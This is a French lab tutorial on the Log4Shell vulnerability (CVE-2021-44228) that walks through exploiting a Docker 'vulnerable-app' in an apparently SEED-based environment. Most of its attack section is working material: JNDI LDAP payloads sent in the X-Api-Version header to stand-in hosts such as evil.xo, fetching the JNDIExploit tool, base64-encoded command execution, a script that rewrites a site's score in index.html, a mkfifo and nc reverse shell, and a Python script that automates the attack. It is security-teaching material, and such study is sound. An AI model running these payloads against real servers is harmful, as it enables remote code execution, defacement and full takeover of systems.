# Démo Log4Shell CVE-2021-44228
Fin 2021, la plus grande nouvelle dans le monde de la cybersécurité était la vulnérabilité Log4j, identifiée sous le numéro CVE-2021-44228, également connue sous le nom de Log4Shell. Elle a été jugée comme la plus critique avec un score de 10 dans le système d'évaluation des vulnérabilités CVSS, et considérée comme la vulnérabilité la plus importante depuis Heartbleed et ShellShock. Certains l'ont même qualifiée de « vulnérabilité de niveau bombe nucléaire », ce qui montre l'ampleur de son impact. Ce projet analyse CVE-2021-44228 et propose une mise en pratique en laboratoire.
Un fichier journal (logfile) enregistre les événements survenus dans un système d'exploitation ou un logiciel en cours d'exécution, ou les messages échangés entre utilisateurs d'un logiciel de chat. De nombreux systèmes d'exploitation, frameworks logiciels et programmes incluent des systèmes de journalisation. Java dispose d'un excellent package de journalisation appelé Log4j. Ce package appartient à l'Apache Software Foundation, d'où son nom complet Apache Log4j.
Log4j est un outil très pratique, largement utilisé par les programmes Java. Les ingénieurs logiciels ont souvent besoin d'écrire des données d'exécution dans des fichiers journaux ou dans d'autres bases de données pour une utilisation ultérieure. C'est là qu'intervient Log4j : il peut recevoir une chaîne de caractères (par exemple un identifiant utilisateur saisi sur un écran de connexion) et l'écrire ailleurs (par exemple dans un champ de saisie de données d'un processus d'authentification). En plus de la copie/coller de base, Log4j peut également examiner et interpréter le contenu de la chaîne. Cette interprétation est une action dangereuse, car à moins que le programme n'ait d'abord nettoyé la chaîne, des problèmes peuvent facilement survenir lors de l'interprétation. Log4j ne nettoie pas la chaîne avant de l'interpréter, ce qui donne aux attaquants la possibilité de lancer une attaque par injection.
CVE-2021-44228 est une vulnérabilité majeure car elle permet à un attaquant non authentifié d'exécuter du code à distance (RCE - Remote Code Execution) sur un serveur Java. La vulnérabilité provient de la manière dont log4j traite les messages de journalisation. Si un attaquant envoie un message traité (contenant une chaîne comme ${jndi:ldap://rogueldapserver.com/a}), cela peut entraîner le chargement d'une classe de code externe ou la recherche de message (message lookup) et l'exécution de ce code, conduisant ainsi à une RCE.

Voici le flux de base d'une RCE.
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
${jndi:ldap://evil.xo/x}Téléchargez d'abord la VM SEED Ubuntu 20.04. Cette VM fournit un environnement Docker préinstallé. Télécharger
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Créer l'image du conteneur
$ docker-compose up # Démarrer le conteneur
$ docker-compose down # Arrêter le conteneur
# Alias pour les commandes Compose ci-dessus
$ dcbuild # Alias pour : docker-compose build
$ dcup # Alias pour : docker-compose up
$ dcdown # Alias pour : docker-compose down
$ dockps # Alias pour : docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias pour : docker exec -it <id> /bin/bash
# L'exemple suivant montre comment obtenir un shell dans hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
Pour simplifier les étapes, tous les serveurs sont sur le même LAN

Dans cette tâche, l'utilisateur se familiarise avec le fonctionnement de log4j. L'utilisateur peut utiliser l'en-tête X-Api-Version pour enregistrer un journal avec log4j.
# <> ce qui se trouve entre crochets doit être modifié par l'utilisateur
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
Si le serveur a correctement analysé votre requête, il renverra Hello World!.
Veuillez noter dans le rapport le résultat renvoyé par le serveur et vérifier si le serveur a correctement analysé la requête et enregistré le journal.
En 2013, le package Log4j a ajouté le plugin JNDILookup, permettant aux développeurs d'utiliser JNDI combiné à LDAP pour obtenir des objets de données Java JNDITutorial externes.
Ensuite, nous allons utiliser log4j combiné à JNDIExploit pour faire exécuter au serveur les commandes que nous voulons.
# <> ce qui se trouve entre crochets doit être modifié par l'utilisateur
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
Créez un fichier secret.txt dans le dossier /tmp et vérifiez dans le serveur si le fichier a bien été créé.
Note-1 : <content> ne peut pas contenir directement une commande, il doit être converti
Note-2 : Commevulnerable-appne dispose pas de/bin/bashcomme shell, pour vérifier le fichier, utilisez la commande docker
$ docker exec vulnerable-app ls /tmp
Après la tâche précédente, nous avons constaté que vulnerable-app exécute toute commande en base64 envoyée par un attaquant. Si un attaquant souhaite effectuer une opération plus complexe, il peut envoyer un script shell d'attaque pour que le serveur l'exécute.
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
Ci-dessus un script pour modifier le score d'un site web. Le score est stocké dans index.html. Exécutez-le d'abord avec succès et indiquez les différences. Ensuite, modifiez ce script pour changer le fichier de score avec le nombre de votre choix.
Note-1 : Une méthode plus pratique pour modifier un fichier est d'utiliser
sed
Note-2 : Commevulnerable-appne permet pas à l'utilisateur de consulter /var/www via un navigateur, pour vérifier le fichier, utilisez la commande docker
$ docker exec vulnerable-app cat /var/www/index.html
Après la tâche précédente, nous pouvons transformer n'importe quelle commande en base64 et la faire exécuter par le serveur. Pour prendre le contrôle total du serveur, nous pouvons utiliser une commande pour créer un reverse shell.
# <> ce qui se trouve entre crochets doit être modifié par l'utilisateur
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
Pour faciliter l'opération, nous fournissons un script Python pour lancer l'attaque.
import os
import sys
import base64
import requests
ldap = '###' # à modifier par l'utilisateur
server_ip = '###' # à modifier par l'utilisateur
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
Note :
vulnerable-appne dispose ni de/bin/bashni de/dev/tcp, donc il est impossible d'utiliser une méthode de reverse shell classique. Cependant, nous pouvons créer un fichier pipe (tube nommé) pour y lire et y écrire.
$ mkfifo <file-name>